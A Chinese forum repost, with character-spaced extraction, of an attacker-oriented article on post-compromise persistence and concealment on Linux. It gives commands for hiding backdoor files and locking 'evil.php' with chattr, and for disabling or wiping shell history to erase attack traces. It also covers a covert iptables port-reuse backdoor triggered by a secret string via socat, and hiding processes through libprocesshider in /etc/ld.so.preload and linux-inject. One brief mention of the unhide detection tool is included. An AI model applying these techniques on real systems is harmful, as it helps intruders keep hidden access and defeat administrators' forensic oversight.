搜索

[928] 2019-09-02_【权限维持】Linux下的几种隐藏技术

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2019-09-02_【权限维持】Linux下的几种隐藏技术 【 权 限 维 持 】 L i n u x 下 的 几 种 隐 藏 技 术 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 9 - 0 2 0 x 0 0   前 言 前 言 攻 击 者 在 获 取 服 务 器 权 限 后 ， 会 通 过 一 些 技 巧 来 隐 藏 自 己 的 踪 迹 和 后 门 文 件 ， 本 文 介 绍 L i n u x 下 的 几 种 隐 藏 技 术 。 0 x 0 1   隐 藏 文 件 隐 藏 文 件 L i n u x   下 创 建 一 个 隐 藏 文 件 ： t o u c h   命 令 可 以 创 建 一 个 文 件 ， 文 件 名 前 面 加 一 个   点   就 代 表 是 隐 藏 文 件 , 如 下 图 ： 一 般 的 L i n u x 下 的 隐 藏 目 录 使 用 命 令 是 查 看 不 出 来 的 ， 只 能 查 看 到 文 件 及 文 件 夹 ， 查 看 L i n u x 下 的 隐 藏 文 件 需 要 用 到 命 令 ： 这 里 ， 我 们 可 以 看 到 在 / t m p 下 ， 默 认 存 在 多 个 隐 藏 目 录 ， 这 些 目 录 是 恶 意 文 件 常 用 来 藏 身 的 地 方 。 如 0 x 0 2   隐 藏 权 限 隐 藏 权 限 在 L i n u x 中 ， 使 用 c h a t t r 命 令 来 防 止 r o o t 和 其 他 管 理 用 户 误 删 除 和 修 改 重 要 文 件 及 目 录 ， 此 权 限 用 l s   - l 是 查 看 不 出 来 的 ， 从 而 达 到 隐 藏 权 限 的 目 的 。 这 个 技 巧 常 被 用 在 后 门 ， 变 成 了 一 些 难 以 清 除 的 后 门 文 件 ， 令 很 多 新 手 朋 友 感 到 头 疼 。 t o u c h   . t e s t . t x t l s   - l l s   - a l / t e m p / . I C E - u n i x / 、 / t e m p / . T e s t - u n i x / 、 / t e m p / . X 1 1 - u n i x / 、 / t e m p / . X I M - u n i x /
c h a t t r   + i   e v i l . p h p   锁 定 文 件 l s a t t r     e v i l . p h p       属 性 查 看 c h a t t r   - i   e v i l . p h p   解 除 锁 定 r m   - r f   1 . e v i l . p h p     删 除 文 件 0 x 0 3   隐 藏 历 史 操 作 命 令 隐 藏 历 史 操 作 命 令 在 s h e l l 中 执 行 的 命 令 ， 不 希 望 被 记 录 在 命 令 行 历 史 中 ， 如 何 在 l i n u x 中 开 启 无 痕 操 作 模 式 呢 ？ 技 巧 一 ： 只 针 对 你 的 工 作 关 闭 历 史 记 录 [ s p a c e ] s e t   + o   h i s t o r y 备 注 ： [ s p a c e ]   表 示 空 格 。 并 且 由 于 空 格 的 缘 故 ， 该 命 令 本 身 也 不 会 被 记 录 。 上 面 的 命 令 会 临 时 禁 用 历 史 功 能 ， 这 意 味 着 在 这 命 令 之 后 你 执 行 的 所 有 操 作 都 不 会 记 录 到 历 史 中 ， 然 而 这 个 命 令 之 前 的 所 有 东 西 都 会 原 样 记 录 在 历 史 列 表 中 。 要 重 新 开 启 历 史 功 能 ， 执 行 下 面 的 命 令 ： [ S p a c e ] s e t   - o   h i s t o r y 它 将 环 境 恢 复 原 状 ， 也 就 是 你 完 成 了 你 的 工 作 ， 执 行 上 述 命 令 之 后 的 命 令 都 会 出 现 在 历 史 中 。 技 巧 二 ： 从 历 史 记 录 中 删 除 指 定 的 命 令 假 设 历 史 记 录 中 已 经 包 含 了 一 些 你 不 希 望 记 录 的 命 令 。 这 种 情 况 下 我 们 怎 么 办 ？ 很 简 单 。 通 过 下 面 的 命 令 来 删 除 ： h i s t o r y   |   g r e p   " k e y w o r d " 输 出 历 史 记 录 中 匹 配 的 命 令 ， 每 一 条 前 面 会 有 个 数 字 。 从 历 史 记 录 中 删 除 那 个 指 定 的 项 ： h i s t o r y   - d   [ n u m ]
这 种 技 巧 是 关 键 记 录 删 除 ， 或 者 我 们 可 以 暴 力 点 ， 比 如 前 1 5 0 行 是 用 户 的 正 常 操 作 记 录 ， 1 5 0 以 后 是 攻 击 者 操 作 记 录 。 我 们 可 以 只 保 留 正 常 的 操 作 ， 删 除 攻 击 痕 迹 的 历 史 操 作 记 录 ， 这 里 ， 我 们 只 保 留 前 1 5 0 行 ： s e d   - i   ' 1 5 0 , $ d '   . b a s h _ h i s t o r y 0 x 0 4   端 口 复 用 端 口 复 用 通 过 端 口 复 用 来 达 到 隐 藏 端 口 的 目 的 ， 在 L i n u x 下 ， 如 何 实 现 端 口 复 用 呢 ？ 第 一 种 方 式 ： 通 过 S S L H 在 同 一 端 口 上 共 享 S S H 与 H T T P S   # 安 装 S S L H   s u d o   a p t - g e t   i n s t a l l   s s l h   # 配 置 S S L H   编 辑   S S L H   配 置 文 件 ：   s u d o   v i   / e t c / d e f a u l t / s s l h   1 、 找 到 下 列 行 ： R u n = n o     将 其 修 改 为 ： R u n = y e s   2 、 修 改 以 下 行 以 允 许   S S L H   在 所 有 可 用 接 口 上 侦 听 端 口   4 4 3   D A E M O N _ O P T S = " - - u s e r   s s l h   - - l i s t e n   0 . 0 . 0 . 0 : 4 4 3   - - s s h   1 2 7 . 0 . 0 . 1 : 2 2   - - s s l   1 2 7 . 0 . 0 . 1 : 4 4 3   - - p i d f i l e   / v a r / r u n / s s l h / s s l h . p i d " 第 二 种 方 式 ： 利 用 I P T a b l e s 进 行 端 口 复 用 #   端 口 复 用 链 i p t a b l e s   - t   n a t   - N   L E T M E I N #   端 口 复 用 规 则 i p t a b l e s   - t   n a t     - A   L E T M E I N   - p   t c p   - j   R E D I R E C T   - - t o - p o r t   2 2 #   开 启 开 关 i p t a b l e s   - A   I N P U T   - p   t c p   - m   s t r i n g   - - s t r i n g   ' t h r e a t h u n t e r c o m i n g '   - - a l g o   b m   - m   r e c e n t   - - s e t   - - n a m e   l e t m e i n   - - r s o u r c e   - j   A C C E P T #   关 闭 开 关 i p t a b l e s   - A   I N P U T   - p   t c p   - m   s t r i n g   - - s t r i n g   ' t h r e a t h u n t e r l e a v i n g '   - - a l g o   b m   - m   r e c e n t   - - n a m e   l e t m e i n   - - r e m o v e   - j   A C C E P T #   l e t ' s   d o   i t i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - - d p o r t   8 0   - - s y n   - m   r e c e n t   - - r c h e c k   - - s e c o n d s   3 6 0 0   - - n a m e   l e t m e i n   - - r s o u r c e   - j   L E T M E I N 利 用 方 式 ：
# 开 启 复 用 e c h o   t h r e a t h u n t e r c o m i n g   |   s o c a t   -   t c p : 1 9 2 . 1 6 8 . 2 8 . 1 2 8 : 8 0 # s s h 使 用 8 0 端 口 进 行 登 录 s s h   - p   8 0   r o o t @ 1 9 2 . 1 6 8 . 2 8 . 1 2 8 # 关 闭 复 用 e c h o   t h r e a t h u n t e r l e a v i n g   |   s o c a t   -   t c p : 1 9 2 . 1 6 8 . 2 8 . 1 2 8 : 8 0 具 体 文 章 详 见 ： 远 程 遥 控   I P T a b l e s   进 行 端 口 复 用 0 x 0 5   进 程 隐 藏 进 程 隐 藏 管 理 员 无 法 通 过 相 关 命 令 工 具 查 找 到 你 运 行 的 进 程 ， 从 而 达 到 隐 藏 目 的 ， 实 现 进 程 隐 藏 。 第 一 种 方 法 ： l i b p r o c e s s h i d e r g i t h u b 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / g i a n l u c a b o r e l l o / l i b p r o c e s s h i d e r 利 用   L D _ P R E L O A D   来 实 现 系 统 函 数 的 劫 持 ， 实 现 如 下 ： #   下 载 程 序 编 译 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g i a n l u c a b o r e l l o / l i b p r o c e s s h i d e r . g i t c d   l i b p r o c e s s h i d e r /   & &   m a k e #   移 动 文 件 到 / u s r / l o c a l / l i b / 目 录 下 c p   l i b p r o c e s s h i d e r . s o   / u s r / l o c a l / l i b / #   把 它 加 载 到 全 局 动 态 连 接 局 e c h o   / u s r / l o c a l / l i b / l i b p r o c e s s h i d e r . s o   > >   / e t c / l d . s o . p r e l o a d 测 试 ： 运 行   e v i l _ s c r i p t . p y
此 时 发 现 在 t o p   与   p s   中 都 无 法 找 到   e v i l _ s c r i p t . p y ，   c p u   使 用 率 高 , 但 是 却 找 不 到 任 何 占 用 c p u 高 的 程 序 。 如 何 在 L i n u x 中 发 现 隐 藏 的 进 程 ？   是 一 个 小 巧 的 网 络 取 证 工 具 ， 能 够 发 现 那 些 借 助 r o o t k i t ， L K M 及 其 它 技 术 隐 藏 的 进 程 和 T C P   /   U D P 端 口 。 这 个 工 具 在 L i n u x ， U N I X 类 ， M S - W i n d o w s 等 操 作 系 统 下 都 可 以 工 作 。 下 载 地 址 ： h t t p : / / w w w . u n h i d e - f o r e n s i c s . i n f o / u n h i d e
#   安 装 s u d o   y u m   i n s t a l l   u n h i d e #   使 用 u n h i d e   [ o p t i o n s ]   t e s t _ l i s t 使 用 发 现 隐 藏 进 程 e v i l _ s c r i p t . p y ， 如 下 图 所 示 ： 第 二 种 方 法 ： 进 程 注 入 工 具 l i n u x - i n j e c t l i n u x - i n j e c t 是 用 于 将 共 享 对 象 注 入 L i n u x 进 程 的 工 具 g i t h u b 项 目 地 址 ：   h t t p s : / / g i t h u b . c o m / g a f f e 2 3 / l i n u x - i n j e c t . g i t #   下 载 程 序 编 译 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g a f f e 2 3 / l i n u x - i n j e c t . g i t c d   l i n u x - i n j e c t   & &   m a k e #   测 试 进 程 . / s a m p l e - t a r g e t #   进 程 注 入 . / i n j e c t   - n   s a m p l e - t a r g e t   s a m p l e - l i b r a r y . s o 验 证 进 程 注 入 成 功 ， 如 下 图 所 示 ： u n h i d e   p r o c
0 x 0 6   结 语 结 语 本 文 主 要 介 绍 了 L i n u x 下 的 几 种 隐 藏 技 术 ， 包 括 隐 藏 文 件 、 隐 藏 权 限 、 隐 藏 历 史 操 作 命 令 、 端 口 复 用 、 进 程 隐 藏 等 方 面 的 技 巧 。 仅 作 抛 砖 引 玉 之 用 ， 欢 迎 留 言 分 享 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理